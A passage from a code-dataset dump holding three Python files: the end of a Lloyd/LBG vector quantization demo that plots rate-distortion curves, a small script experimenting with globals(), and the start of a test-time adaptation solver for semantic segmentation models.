opt_gl_rate_s0, _ = opt_gl(dummy_data[:, 0],\n init_assignments, init_cword_len, lagrange_mult=lagrange_w)\n init_assignments, _, _, _ = uni(\n dummy_data[:, 1], binwidth, placement_scheme='on_mode')\n init_cword_len = (-1. * np.log2(1. / len(init_assignments)) *\n np.ones((len(init_assignments),)))\n _, _, opt_gl_MSE_s1, opt_gl_rate_s1, _ = opt_gl(dummy_data[:, 1],\n init_assignments, init_cword_len, lagrange_mult=lagrange_w)\n opt_gl_rates.append((opt_gl_rate_s0 + opt_gl_rate_s1) / 2)\n opt_gl_MSEs.append((opt_gl_MSE_s0 + opt_gl_MSE_s1) / 2)\n\n # plot the three scalar variants\n plt.figure(figsize=(20, 20))\n plt.plot(uni_MSEs, uni_rates, label='Uniform Scalar', linewidth=4)\n plt.plot(gl_MSEs, gl_rates, label='Suboptimal Scalar Lloyd', linewidth=4)\n plt.plot(opt_gl_MSEs, opt_gl_rates, label='Optimal Scalar Lloyd', linewidth=4)\n plt.legend(fontsize=15)\n plt.title('Rate-distortion performance of different scalar quantization ' +\n 'schemes', fontsize=20)\n plt.xlabel('Distortion (Mean squared error)', fontsize=15)\n plt.ylabel('Rate (bits per component)', fontsize=15)\n\n # next uniform vector (2d)\n uni_2d_rates = []\n uni_2d_MSEs = []\n for binwidth in np.linspace(8, 32, 50):\n _, _, uni_2d_MSE, uni_2d_rate = uni(\n dummy_data, np.array([binwidth, binwidth]), placement_scheme='on_mode')\n uni_2d_rates.append(uni_2d_rate / 2)\n uni_2d_MSEs.append(uni_2d_MSE / 2)\n\n # next suboptimal generalized Lloyd (2d)\n gl_2d_rates = []\n gl_2d_MSEs = []\n for binwidth in np.linspace(8, 60, 50):\n print('RD curve, suboptimal vector Lloyd, binwidth=', binwidth)\n init_assignments, _, _, _ = uni(\n dummy_data, np.array([binwidth, binwidth]), placement_scheme='on_mode')\n _, _, gl_2d_MSE, gl_2d_rate, _ = gl(dummy_data, init_assignments,\n force_const_num_assignment_pts=False)\n #^ make this correspond to optimal lloyd with lambda=0.0.\n gl_2d_rates.append(gl_2d_rate / 2)\n gl_2d_MSEs.append(gl_2d_MSE / 2)\n\n # finally, the optimal generalized Lloyd\n opt_gl_2d_rates = []\n opt_gl_2d_MSEs = []\n binwidth = 8\n for lagrange_w in np.linspace(0.0, 4.0, 50):\n print('RD curve, optimal vector Lloyd, lagrange mult=', lagrange_w)\n init_assignments, _, _, _ = uni(\n dummy_data, np.array([binwidth, binwidth]), placement_scheme='on_mode')\n init_cword_len = (-1. * np.log2(1. / len(init_assignments)) *\n np.ones((len(init_assignments),)))\n _, _, opt_gl_2d_MSE, opt_gl_2d_rate, _ = opt_gl(\n dummy_data, init_assignments, init_cword_len, lagrange_mult=lagrange_w)\n opt_gl_2d_rates.append(opt_gl_2d_rate / 2)\n opt_gl_2d_MSEs.append(opt_gl_2d_MSE / 2)\n\n\n # plot the three 2D variants\n plt.figure(figsize=(20, 20))\n plt.plot(uni_2d_MSEs, uni_2d_rates, label='Uniform 2D', linewidth=4)\n plt.plot(gl_2d_MSEs, gl_2d_rates, label='Suboptimal 2D Lloyd', linewidth=4)\n plt.plot(opt_gl_2d_MSEs, opt_gl_2d_rates, label='Optimal 2D Lloyd',\n linewidth=4)\n plt.legend(fontsize=15)\n plt.title('Rate-distortion performance of different vector quantization ' +\n 'schemes', fontsize=20)\n plt.xlabel('Distortion (Mean squared error)', fontsize=15)\n plt.ylabel('Rate (bits per component)', fontsize=15)\n\n # plot all the variants together\n plt.figure(figsize=(20, 20))\n plt.plot(uni_MSEs, uni_rates, label='Uniform Scalar', linewidth=4)\n plt.plot(gl_MSEs, gl_rates, label='Suboptimal Scalar Lloyd', linewidth=4)\n plt.plot(opt_gl_MSEs, opt_gl_rates, label='Optimal Scalar Lloyd', linewidth=4)\n plt.plot(uni_2d_MSEs, uni_2d_rates, label='Uniform 2D', linewidth=4)\n plt.plot(gl_2d_MSEs, gl_2d_rates, label='Suboptimal 2D Lloyd', linewidth=4)\n plt.plot(opt_gl_2d_MSEs, opt_gl_2d_rates, label='Optimal 2D Lloyd',\n linewidth=4)\n plt.legend(fontsize=15)\n plt.title('Rate-distortion performance of 4 variants ' +\n 'of Lloyd/LBG\\nplus 2 variants of uniform quantization', fontsize=20)\n plt.xlabel('Distortion (Mean squared error)', fontsize=15)\n plt.ylabel('Rate (bits per component)', fontsize=15)\n\n plt.show()\n\nif __name__ == '__main__':\n main()\n","repo_name":"spencerkent/generalized-lloyd-quantization","sub_path":"generalized_lloyd_quantization/demo/lloyd_LBG_vq.py","file_name":"lloyd_LBG_vq.py","file_ext":"py","file_size_in_byte":15921,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"2"} +{"seq_id":"4793997331","text":"\r\nj = 3\r\nm = 12\r\nt = 55\r\n\r\ndef hi():\r\n global j\r\n j = 10\r\n m = 24\r\n t = 88\r\n x = globals() ['j']\r\n #'m','t']\r\n print(x)\r\n print(id(x))\r\n globals()['j']=99\r\n # globals()['m']=77\r\n #globals()['t']=66\r\n print(\"in\",j)\r\n print(id(j))\r\n\r\n\r\nhi()\r\n\r\nprint(\"out\",j)\r\nprint(id(j))\r\n\r\n","repo_name":"narendraj3/Python","sub_path":"glob.py","file_name":"glob.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"7607422690","text":"\"\"\"\nNote: the GitHub repo https://github.com/wasidennis/AdaptSegNet was used\nas a starting point to train and test semantic segmetnation models on\nthe GTA5 and Cityscapes datasets. The reference model architectures are\nalso from the repo -- see models/*.py\n\"\"\"\n\nimport sys\nimport os\nimport glob\nimport random\nimport json\nimport copy\nimport argparse\nimport pickle\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils import data, model_zoo\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\n\nimport numpy as np\nimport numpy.random as npr\n\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\n\n# from AdaptSegNet repository\n# (https://github.com/wasidennis/AdaptSegNet)\nfrom deeplab import Res_Deeplab as Deeplab\nfrom utils.loss import CrossEntropy2d\n\n# ours\nfrom dataset.cityscapes_dataset import Cityscapes\nfrom dataset.acdc_dataset import ACDC\nfrom dataset.synthia_dataset import SYNTHIA\nfrom dataset.gta5_dataset import GTA5\n\nfrom metrics_helpers import compute_mIoU_single_image, \\\n\t\tcompute_acc_single_image, compute_mIoU_fromlist, \\\n\t\tcompute_acc_fromlist\nfrom image_helpers import ImageOps\n\nIMG_MEAN = np.array(\n\t\t(104.00698793, 116.66876762, 122.67891434), dtype=np.float32)\n\nclass SolverOps:\n\n\t\"\"\"\n\tClass used to carry out all train/test/load ops.\n\t\"\"\"\n\n\tdef __init__(self, args):\n\n\t\t\"\"\"\n\t\t\"args\" contains all the input required to\n\t\tspecify the experiments. See main() function.\n\t\t\"\"\"\n\n\t\tself.args = args\n\n\t\t# from the AdaptSegnet repo\n\t\twith open('./dataset/cityscapes_list/info.json', 'r') as f:\n\t\t\tinfo = json.load(f)\n\n\t\tself.num_classes = np.int(info['classes'])\n\t\tself.name_classes = np.array(info['label'], dtype=np.str)\n\n\t\tprint('Num classes', self.num_classes)\n\n\t\tif len(self.args.cond.split('-')) != len(self.args.scene.split('-')):\n\t\t\traise ValueError(\n\t\t\t\t\t'If using sequences, the number of conditions'+\\\n\t\t\t\t\tf'must match the number of scenes.')\n\n\t\t# checking whether the adaptation mode is supported\n\t\tif self.args.adapt_mode not in [\n\t\t\t\t'batch-norm', 'naive-batch-norm', 'no-adaptation', 'tent',\n\t\t\t\t'naive-tent', 'pseudo-labels', 'naive-pseudo-labels',\n\t\t\t\t'class-reset-pseudo-labels', 'oracle-reset-pseudo-labels',\n\t\t\t\t'class-reset-batch-norm', 'class-reset-tent',\n\t\t\t\t'oracle-reset-batch-norm', 'oracle-reset-tent'\n\t\t\t\t]:\n\t\t\traise ValueError(f'Unknown \"adapt_mode\" [{self.args.adapt_mode}]')\n\n\t\tself.image_ops = ImageOps()\n\n\t\tw_trg, h_trg = map(int, self.args.input_size_target.split(','))\n\t\tself.input_size_target = (w_trg, h_trg)\n\n\t\tw_src, h_src = map(int, self.args.input_size_source.split(','))\n\t\tself.input_size_source = (w_src, h_src)\n\n\n\tdef adapt(self):\n\n\t\t\"\"\"\n\t\tMethod to adapt a model sample by sample on a given\n\t\tsequence. All parameters setup by the user (args).\n\t\t\"\"\"\n\n\t\tcudnn.enabled = True\n\t\tgpu = self.args.gpu\n\n\t\tcudnn.benchmark = True\n\n\t\tsummary_dict = {\n\t\t\t\t\t\t'loss':[],\n\t\t\t\t\t\t'iter':[],\n\t\t\t\t\t\t'lr':[],\n\t\t\t\t\t\t'pixel_acc_init':[],\n\t\t\t\t\t\t'pixel_acc_final':[],\n\t\t\t\t\t\t'mean_acc_init':[],\n\t\t\t\t\t\t'mean_acc_final':[],\n\t\t\t\t\t\t'mious_init':[],\n\t\t\t\t\t\t'mious_final':[],\n\t\t\t\t\t\t'pixel_acc_all':[],\n\t\t\t\t\t\t'mean_acc_all':[],\n\t\t\t\t\t\t'miou_all':[],\n\t\t\t\t\t\t'avg_class_miou':[],\n\t\t\t\t\t\t'avg_class_miou_bkp':[],\n\t\t\t\t\t\t'pred_count_all':[],\n\t\t\t\t\t\t'pred_count_all_ma':[],\n\t\t\t\t\t\t'wass_dist':[],\n\t\t\t\t\t\t'wass_dist_ma':[],\n\t\t\t\t\t\t'pred_count_all_bkp':[],\n\t\t\t\t\t\t'pred_count_all_ma_bkp':[],\n\t\t\t\t\t\t'wass_dist_bkp':[],\n\t\t\t\t\t\t'wass_dist_ma_bkp':[],\n\t\t\t\t\t\t'unique_classes':[],\n\t\t\t\t\t\t'unique_classes_bkp':[],\n\t\t\t\t\t\t'reset':[]\n\t\t\t\t\t\t}\n\n\t\tbn_stats_dict = {}\n\n\t\toptimizer = optim.SGD(self.model.optim_parameters(self.args), lr=self.args.learning_rate)\n\n\t\tinterp_src = nn.Upsample(\n\t\t\t\tsize=(self.input_size_source[1], self.input_size_source[0]), mode='bilinear')\n\t\tinterp_trg = nn.Upsample(\n\t\t\t\tsize=(self.input_size_target[1], self.input_size_target[0]), mode='bilinear')\n\t\tinterp_trg_big = nn.Upsample(\n\t\t\t\tsize=(self.input_size_target[1] * 2, self.input_size_target[0] * 2), mode='bilinear')\n\n\t\tself.args.num_steps = len(self.trg_train_loader)\n\n\t\tif self.args.adapt_mode == 'no-adaptation':\n\t\t\tprint('NOT ADAPTING, JUST EVALUATING')\n\t\t\tself.model.eval()\n\n\n\t\tif np.any([_ in self.args.adapt_mode\n\t\t\t\tfor _ in ['class-reset', 'oracle-reset']]):\n\t\t\tprint('Model backup')\n\t\t\tself.model_bkp = copy.deepcopy(self.model)\n\n\t\treset_bool = False\n\n\t\tfor i_iter, trg_batch in enumerate(self.trg_train_loader):\n\n\t\t\ttrg_image, trg_labels_ONLY_FOR_EVAL, _, trg_image_name = trg_batch\n\t\t\ttrg_image = Variable(trg_image).cuda(self.args.gpu)\n\n\t\t\t# forward pass on eval - just to track initial metrics for this sample\n\t\t\tself.model.eval()\n\t\t\ttrg_pred = self.model(trg_image)\n\n\t\t\t# computing initial miou\n\t\t\toutput = interp_trg(trg_pred).cpu().data[0].numpy()\n\t\t\toutput = output.transpose(1,2,0)\n\t\t\toutput = np.asarray(np.argmax(output, axis=2), dtype=np.uint8)\n\n\t\t\tif trg_labels_ONLY_FOR_EVAL is not None:\n\t\t\t\ttrg_labels_ONLY_FOR_EVAL = np.squeeze(\n\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL.detach().cpu().numpy()).astype(np.uint8)\n\t\t\t\tmious_init = compute_mIoU_single_image(\n\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL, output, self.num_classes, self.name_classes)\n\t\t\t\tpixel_acc_init, mean_acc_init = compute_acc_single_image(\n\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL, output)\n\t\t\telse:\n\t\t\t\tmious_init = None\n\t\t\t\tpixel_acc_init = None\n\t\t\t\tmean_acc_init = None\n\n\t\t\t#output_ = trg_pred.argmax(1).cpu().numpy().squeeze()\n\n\t\t\t####### TRAINING/ADAPTING #########################################\n\t\t\tif self.args.adapt_mode != 'no-adaptation':\n\t\t\t\tself.model.train()\n\t\t\t\tif self.args.adapt_mode in [\n\t\t\t\t\t\t\t'tent', 'naive-tent', 'pseudo-labels',\n\t\t\t\t\t\t\t'naive-pseudo-labels', 'class-reset-pseudo-labels',\n\t\t\t\t\t\t\t'oracle-reset-pseudo-labels',\n\t\t\t\t\t\t\t'class-reset-tent', 'oracle-reset-tent'\n\t\t\t\t\t\t\t]:\n\t\t\t\t\t# updating model parameters in training iterations\n\t\t\t\t\tfor _ in range(args.adapt_iters):\n\t\t\t\t\t\t# forward pass, BN statistics are updated\n\t\t\t\t\t\ttrg_pred = self.model(trg_image)\n\n\t\t\t\t\t\toptimizer.zero_grad()\n\n\t\t\t\t\t\tif args.adapt_mode in [\n\t\t\t\t\t\t\t\t\t'pseudo-labels', 'naive-pseudo-labels',\n\t\t\t\t\t\t\t\t\t'oracle-reset-pseudo-labels',\n\t\t\t\t\t\t\t\t\t'class-reset-pseudo-labels'\n\t\t\t\t\t\t\t\t\t]:\n\t\t\t\t\t\t\ttrg_psd_labels = self.compute_pseudo_labels(\n\t\t\t\t\t\t\t\t\ttrg_pred, args.pseudo_labels_mode,\n\t\t\t\t\t\t\t\t\targs.pseudo_labels_thrs)\n\t\t\t\t\t\t\ttrg_loss = self.loss_calc(\n\t\t\t\t\t\t\t\t\ttrg_pred, trg_psd_labels, args.gpu)\n\n\t\t\t\t\t\telif args.adapt_mode in [\n\t\t\t\t\t\t\t\t\t'tent', 'naive-tent', 'class-reset-tent',\n\t\t\t\t\t\t\t\t\t'oracle-reset-tent']:\n\t\t\t\t\t\t\ttrg_loss = self.compute_output_entropy(\n\t\t\t\t\t\t\t\t\ttrg_pred, avg_batch=True)\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\traise RuntimeError(\n\t\t\t\t\t\t\t\t\tf'Unknown args.adapt_mode [{args.adapt_mode}]')\n\n\t\t\t\t\t\t# if also using source samples\n\t\t\t\t\t\tif args.src_iters > 0:\n\t\t\t\t\t\t\tsrc_loss = 0\n\t\t\t\t\t\t\tfor _ in range(args.src_iters):\n\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t_, src_batch = next(self.src_train_loader_iter)\n\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t# we create another source iterator, if finished\n\t\t\t\t\t\t\t\t\tdel(self.src_train_loader_iter)\n\t\t\t\t\t\t\t\t\tdel(self.src_train_loader)\n\t\t\t\t\t\t\t\t\tself.src_train_loader = data.DataLoader(\n\t\t\t\t\t\t\t\t\t\t\tself.src_parent_set, batch_size=args.batch_size,\n\t\t\t\t\t\t\t\t\t\t\tshuffle=True, num_workers=args.num_workers,\n\t\t\t\t\t\t\t\t\t\t\tpin_memory=True)\n\t\t\t\t\t\t\t\t\t# ---\n\t\t\t\t\t\t\t\t\tself.src_train_loader_iter = enumerate(self.src_train_loader)\n\t\t\t\t\t\t\t\t\t_, src_batch = next(self.src_train_loader_iter)\n\n\t\t\t\t\t\t\t\tsrc_images, src_labels, _, _ = src_batch\n\t\t\t\t\t\t\t\tsrc_images = Variable(src_images).cuda(args.gpu)\n\n\t\t\t\t\t\t\t\t# computing source loss with ground truth\n\t\t\t\t\t\t\t\tsrc_pred = self.model(src_images)\n\t\t\t\t\t\t\t\tsrc_pred = interp_src(src_pred)\n\n\t\t\t\t\t\t\t\tsrc_loss += self.loss_calc(\n\t\t\t\t\t\t\t\t\t\tsrc_pred, src_labels, self.args.gpu)\n\n\t\t\t\t\t\t# summing everything up\n\t\t\t\t\t\tif args.src_iters == 0:\n\t\t\t\t\t\t\tloss = trg_loss\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tloss = trg_loss + args.src_iters * src_loss\n\t\t\t\t\t\t\tloss = loss/(1 + args.src_iters)\n\n\t\t\t\t\t\tloss.backward()\n\t\t\t\t\t\toptimizer.step()\n\n\t\t\t\telif self.args.adapt_mode in ['batch-norm', 'naive-batch-norm']:\n\t\t\t\t\t# simple forward pass, where BN stats are updated\n\t\t\t\t\ttrg_pred = self.model(trg_image)\n\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(f'Unknown adapt_mode {self.args.adapt_mode}')\n\n\n\t\t\t####### EVALUATING ############################################\n\t\t\t# computing final metrics for the current image - if adaptation\n\t\t\tif self.args.adapt_mode != 'no-adaptation':\n\t\t\t\tself.model.eval()\n\t\t\t\ttrg_pred = self.model(trg_image)\n\t\t\t\ttrg_feat = self.model(trg_image, extract_features=True)\n\n\t\t\t\toutput = interp_trg(trg_pred).cpu().data[0].numpy()\n\t\t\t\toutput = output.transpose(1,2,0)\n\t\t\t\toutput = np.asarray(np.argmax(output, axis=2), dtype=np.uint8)\n\n\t\t\t\t# computing histogram of predictions made by the model\n\t\t\t\tpred_id, pred_count = np.unique(output, return_counts=True)\n\t\t\t\tpred_id = pred_id.tolist()\n\t\t\t\tpred_count = [pred_count[pred_id.index(n)] \n\t\t\t\t\t\tif n in pred_id else 0 for n in range(19)]\n\n\t\t\t\t# computing classes present in the image - for mIoU computation\n\t\t\t\timage_gt = np.unique(trg_labels_ONLY_FOR_EVAL)\n\t\t\t\timage_gt = image_gt[image_gt!=255]\n\n\t\t\t\tif trg_labels_ONLY_FOR_EVAL is not None:\n\t\t\t\t\tmious_final = compute_mIoU_single_image(\n\t\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL, output,\n\t\t\t\t\t\t\tself.num_classes, self.name_classes)\n\t\t\t\t\tpixel_acc_final, mean_acc_final = compute_acc_single_image(\n\t\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL, output)\n\t\t\t\telse:\n\t\t\t\t\tmious_final = None\n\t\t\t\t\tpixel_acc_final = None\n\t\t\t\t\tmean_acc_final = None\n\n\t\t\t\t# computing the average mious for the last three samples\n\t\t\t\tavg_class_miou_ = np.copy(mious_final)\n\t\t\t\tavg_class_miou_[np.delete(np.arange(19), image_gt)] = np.nan\n\t\t\t\tavg_class_miou = np.nanmean(avg_class_miou_)\n\n\t\t\t\tif self.args.adapt_mode.startswith('class-reset') \\\n\t\t\t\t\t\tor self.args.adapt_mode.startswith('oracle-reset'):\n\n\t\t\t\t\ttrg_pred_bkp = self.model_bkp(trg_image)\n\t\t\t\t\toutput_bkp = interp_trg(trg_pred_bkp).cpu().data[0].numpy()\n\t\t\t\t\toutput_bkp = output_bkp.transpose(1,2,0)\n\t\t\t\t\toutput_bkp = np.asarray(np.argmax(output_bkp, axis=2), dtype=np.uint8)\n\t\t\t\t\tmious_final_bkp = compute_mIoU_single_image(\n\t\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL, output_bkp,\n\t\t\t\t\t\t\tself.num_classes, self.name_classes)\n\t\t\t\t\tpixel_acc_final_bkp, mean_acc_final_bkp = compute_acc_single_image(\n\t\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL, output_bkp)\n\n\t\t\t\t\t# computing the average mious for the last three samples\n\t\t\t\t\tavg_class_miou_bkp_ = np.copy(mious_final_bkp)\n\t\t\t\t\tavg_class_miou_bkp_[np.delete(np.arange(19), image_gt)] = np.nan\n\t\t\t\t\tavg_class_miou_bkp = np.nanmean(avg_class_miou_bkp_)\n\n\t\t\t\t\t# computing histogram of predictions made by the model\n\t\t\t\t\tpred_id_bkp, pred_count_bkp = np.unique(output_bkp, return_counts=True)\n\t\t\t\t\tpred_id_bkp = pred_id_bkp.tolist()\n\t\t\t\t\tpred_count_bkp = [\n\t\t\t\t\t\t\tpred_count_bkp[pred_id_bkp.index(n)] if n in pred_id_bkp else 0\n\t\t\t\t\t\t\t\t\tfor n in range(19)]\n\n\t\t\t\telse:\n\t\t\t\t\tavg_class_miou_bkp = np.nan\n\t\t\t\t\tpred_count_bkp = [np.nan]\n\t\t\t\t\tpred_id_bkp = [np.nan]\n\n\t\t\telse:\n\t\t\t\t# if 'no-adaptation', nothing has changed, so we avoid computations\n\t\t\t\tmious_final = mious_init\n\t\t\t\tpixel_acc_final = pixel_acc_init\n\t\t\t\tmean_acc_final = mean_acc_init\n\t\t\t\tavg_class_miou = np.nan\n\t\t\t\tavg_class_miou_bkp = np.nan\n\t\t\t\tpred_count = [np.nan]\n\t\t\t\tpred_count_bkp = [np.nan]\n\t\t\t\tpred_id_bkp = [np.nan]\n\t\t\t\tpred_id = [np.nan]\n\n\t\t\t# for saving predictions and re-compute mIoU at the end\n\t\t\toutput_big = interp_trg_big(trg_pred).cpu().data[0].numpy()\n\t\t\toutput_big = output_big.transpose(1,2,0)\n\t\t\toutput_big = np.asarray(np.argmax(output_big, axis=2), dtype=np.uint8)\n\n\t\t\t# appending stuff to dict\n\t\t\tsummary_dict['iter'].append(i_iter)\n\t\t\tsummary_dict['reset'].append(reset_bool)\n\t\t\tsummary_dict['mious_init'].append(mious_init)\n\t\t\tsummary_dict['mious_final'].append(mious_final)\n\t\t\tsummary_dict['pixel_acc_init'].append(pixel_acc_init)\n\t\t\tsummary_dict['pixel_acc_final'].append(pixel_acc_final)\n\t\t\tsummary_dict['mean_acc_init'].append(mean_acc_init)\n\t\t\tsummary_dict['mean_acc_final'].append(mean_acc_final)\n\t\t\tsummary_dict['unique_classes'].append(len(pred_id))\n\t\t\tsummary_dict['unique_classes_bkp'].append(len(pred_id_bkp))\n\t\t\tsummary_dict['avg_class_miou'].append(avg_class_miou)\n\t\t\tsummary_dict['pred_count_all'].append(pred_count)\n\t\t\tsummary_dict['avg_class_miou_bkp'].append(avg_class_miou_bkp)\n\t\t\tsummary_dict['pred_count_all_bkp'].append(pred_count_bkp)\n\n\t\t\t# computing unique classes, to perform class-reset in case of forgetting\n\t\t\tavg_unique_classes = np.mean(summary_dict['unique_classes'][-self.args.buffer_size:])\n\t\t\tavg_unique_classes_bkp = np.mean(summary_dict['unique_classes_bkp'][-self.args.buffer_size:])\n\n\t\t\t# computing moving average mIoU performance and pred count\n\t\t\tavg_class_miou_ma = np.mean(summary_dict['avg_class_miou'][-self.args.buffer_size:])\n\t\t\tpred_count_ma = np.array(summary_dict['pred_count_all'][-self.args.buffer_size:]).mean(0)\n\n\t\t\t# computing same values for bkp model\n\t\t\tif self.args.adapt_mode.startswith('class-reset') \\\n\t\t\t\t\tor self.args.adapt_mode.startswith('oracle-reset'):\n\n\t\t\t\tavg_class_miou_bkp_ma = np.mean(\n\t\t\t\t\t\tsummary_dict['avg_class_miou_bkp'][-self.args.buffer_size:])\n\t\t\t\tpred_count_ma_bkp = np.array(\n\t\t\t\t\t\tsummary_dict['pred_count_all_bkp'][-self.args.buffer_size:]).mean(0)\n\t\t\telse:\n\t\t\t\tavg_class_miou_bkp_ma = np.nan\n\t\t\t\tpred_count_ma_bkp = [np.nan]\n\n\t\t\tsummary_dict['pred_count_all_ma'].append(pred_count_ma)\n\t\t\tsummary_dict['pred_count_all_ma_bkp'].append(pred_count_ma_bkp)\n\n\t\t\t# difference between number of classes\n\t\t\tclass_dist = avg_unique_classes_bkp - avg_unique_classes\n\n\t\t\t# if 'naive', we re-load the pre-trained model\n\t\t\tif self.args.adapt_mode in [\n\t\t\t\t\t'naive-batch-norm', 'naive-tent', 'naive-pseudo-labels']:\n\t\t\t\tself.load_model()\n\n\t\t\t# if 'reset' method & trigger, we re-load the pre-trained model\n\t\t\telif self.args.adapt_mode.startswith('class-reset'):\n\t\t\t\tif class_dist > self.args.reset_thrs:\n\t\t\t\t\tprint('Smart reset [class forgetting]')\n\t\t\t\t\tself.model.load_state_dict(self.model_bkp.state_dict())\n\t\t\t\t\tavg_class_miou_ma = avg_class_miou_bkp_ma\n\t\t\t\t\tavg_class_miou = avg_class_miou_bkp\n\t\t\t\t\tsummary_dict['avg_class_miou'][-1] = avg_class_miou_bkp\n\t\t\t\t\tmious_final = mious_final_bkp\n\t\t\t\t\tpixel_acc_final = pixel_acc_final_bkp\n\t\t\t\t\tmean_acc_final = mean_acc_final_bkp\n\t\t\t\t\tsummary_dict['mious_final'][-1] = mious_final_bkp\n\t\t\t\t\tsummary_dict['pixel_acc_final'][-1] = pixel_acc_final_bkp\n\t\t\t\t\tsummary_dict['mean_acc_final'][-1] = mean_acc_final_bkp\n\t\t\t\telse:\n\t\t\t\t\treset_bool = True\n\n\t\t\telif self.args.adapt_mode.startswith('oracle-reset'):\n\t\t\t\tif avg_class_miou_bkp_ma > avg_class_miou_ma:\n\t\t\t\t\tprint('Oracle reset [lower mIoU than baseline]')\n\t\t\t\t\tself.model.load_state_dict(self.model_bkp.state_dict())\n\t\t\t\t\tavg_class_miou_ma = avg_class_miou_bkp_ma\n\t\t\t\t\tavg_class_miou = avg_class_miou_bkp\n\t\t\t\t\tsummary_dict['avg_class_miou'][-1] = avg_class_miou_bkp\n\t\t\t\t\tmious_final = mious_final_bkp\n\t\t\t\t\tpixel_acc_final = pixel_acc_final_bkp\n\t\t\t\t\tmean_acc_final = mean_acc_final_bkp\n\t\t\t\t\tsummary_dict['mious_final'][-1] = mious_final_bkp\n\t\t\t\t\tsummary_dict['pixel_acc_final'][-1] = pixel_acc_final_bkp\n\t\t\t\t\tsummary_dict['mean_acc_final'][-1] = mean_acc_final_bkp\n\t\t\t\telse:\n\t\t\t\t\treset_bool = True\n\t\t\telse:\n\t\t\t\treset_bool = False\n\n\t\t\tmious_final_print = np.nanmean(mious_final)\n\t\t\tmious_init_print = np.nanmean(mious_init)\n\t\t\tpixel_acc_init_print = pixel_acc_init\n\t\t\tpixel_acc_final_print = pixel_acc_final\n\t\t\tmean_acc_init_print = mean_acc_init\n\t\t\tmean_acc_final_print = mean_acc_final\n\n\t\t\tif i_iter%1==0:\n\t\t\t\tprint(f'iter = {i_iter:4d}/{self.args.num_steps:5d}, '+ \\\n\t\t\t\t\t\tf'mIoU (init) = {mious_init_print:.3f},'+ \\\n\t\t\t\t\t\tf'mIoU (final) = {mious_final_print:.3f}')\n\n\t\t\t\t# --- saving images ------\n\t\t\t\ttrg_image_ = self.image_ops.process_image_for_saving(\n\t\t\t\t\t\ttrg_image, interp_trg)\n\t\t\t\toutput_ = self.image_ops.colorize_mask(output)\n\t\t\t\toutput_big_col = self.image_ops.colorize_mask(output_big)\n\t\t\t\toutput_big = Image.fromarray(output_big)\n\t\t\t\ttrg_labels_ONLY_FOR_EVAL_ = self.image_ops.colorize_mask(\n\t\t\t\t\t\ttrg_labels_ONLY_FOR_EVAL)\n\t\t\t\tself.image_ops.save_concat_image(\n\t\t\t\t\t\ttrg_image_, trg_labels_ONLY_FOR_EVAL_, output_,\n\t\t\t\t\t\t\tself.input_size_target, self.result_dir,\n\t\t\t\t\t\t\tf'{i_iter:06d}')\n\n\t\t\t\timage_name = trg_image_name[0].split('/')[-1]\n\t\t\t\toutput_big.save(os.path.join(\n\t\t\t\t\t\tself.result_dir, f'{i_iter:06d}_label.png'))\n\t\t\t\toutput_big_col.save(os.path.join(\n\t\t\t\t\t\tself.result_dir, f'{i_iter:06d}_color.png'))\n\t\t\t\t# -------------------------\n\n\t\tprint('End of training.')\n\n\t\tprint('Saving model.')\n\t\ttorch.save(self.model.state_dict(),\n\t\t\t\tos.path.join(self.model_dir, self.model_name))\n\n\t\t# dumping before final tests, in case something goes wrong with them\n\t\twith open(os.path.join(self.model_dir, self.summary_name),'wb') as f:\n\t\t\tpickle.dump(summary_dict, f, pickle.HIGHEST_PROTOCOL)\n\n\t\twith open(os.path.join(self.model_dir, self.DONE_name),'wb') as f:\n\t\t\tprint('Saving end of training file')\n\n\n\tdef setup_model(self):\n\t\t# Create network\n\t\tif self.args.model_arch == 'Deeplab':\n\t\t\tself.model = Deeplab(\n\t\t\t\t\tnum_classes=self.num_classes)\n\n\t\telse:\n\t\t\traise NotImplementedError(f'{self.args.model_arch}')\n\n\t\tself.model.train()\n\t\tself.model.cuda(self.args.gpu)\n\n\n\tdef loss_calc(self, pred, label, gpu):\n\n\t\t\"\"\"\n\t\tThis function returns cross entropy loss for semantic segmentation\n\t\t\"\"\"\n\n\t\tlabel = Variable(label.long()).cuda(gpu)\n\t\tcriterion = CrossEntropy2d().cuda(gpu)\n\n\t\treturn criterion(pred, label)\n\n\n\tdef load_model(self, vanilla_load=False):\n\n\t\t\"\"\"\n\t\tMethod to load a pre-trained model.\n\t\t\"\"\"\n\n\t\t# setting all to False\n\t\tif 'pseudo-labels' not in self.args.adapt_mode:\n\t\t\t# setting all to non-trainable\n\t\t\tfor param in self.model.parameters():\n\t\t\t\tparam.requires_grad = False\n\n\t\tif ('pseudo-labels' in self.args.adapt_mode) \\\n\t\t\t\tand self.args.adapt_only_classifier:\n\t\t\t# we will only adapt the classifier\n\t\t\tfor child in self.model.children():\n\t\t\t\tclassname = child.__class__.__name__\n\t\t\t\tif classname == 'Classifier_Module':\n\t\t\t\t\tfor param in child.parameters():\n\t\t\t\t\t\tparam.requires_grad = True\n\t\t\t\telse:\n\t\t\t\t\tfor param in child.parameters():\n\t\t\t\t\t\tparam.requires_grad = False\n\n\t\tprint('Setting BN params to \\'trainable\\'')\n\t\tfor module in self.model.modules():\n\t\t\tclassname = module.__class__.__name__\n\t\t\tif classname.find('BatchNorm') != -1:\n\t\t\t\tmodule.momentum = self.args.batch_norm_momentum\n\t\t\t\tif not self.args.adapt_only_classifier:\n\t\t\t\t\t# avoid learning the BN's params\n\t\t\t\t\tfor param in 